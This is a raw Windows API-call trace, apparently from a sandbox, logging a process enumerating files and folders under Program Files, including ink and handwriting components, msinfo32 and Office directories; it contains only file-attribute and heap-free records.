	[0072.252] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0072.253] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.253] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0072.253] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.253] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0072.253] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.255] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0072.255] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.255] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0072.256] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.256] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0072.256] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.256] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0072.256] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.256] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0072.257] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.257] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0072.257] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.257] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0072.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.258] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0072.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.258] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0072.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.258] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0072.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.258] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0072.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0072.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0072.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0072.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0072.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0072.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.259] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0072.260] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.260] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0072.260] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.260] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0072.260] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.260] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0072.260] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.260] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0072.260] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.260] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0072.261] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.261] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0072.261] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.261] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0072.261] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.261] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0072.261] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.261] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0072.261] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.261] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0072.261] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0072.262] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.262] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0072.262] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.262] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0072.262] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.262] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0072.263] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.264] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0072.264] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0072.264] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.264] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0072.264] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.264] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0072.264] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.264] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0072.267] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.267] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0072.267] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
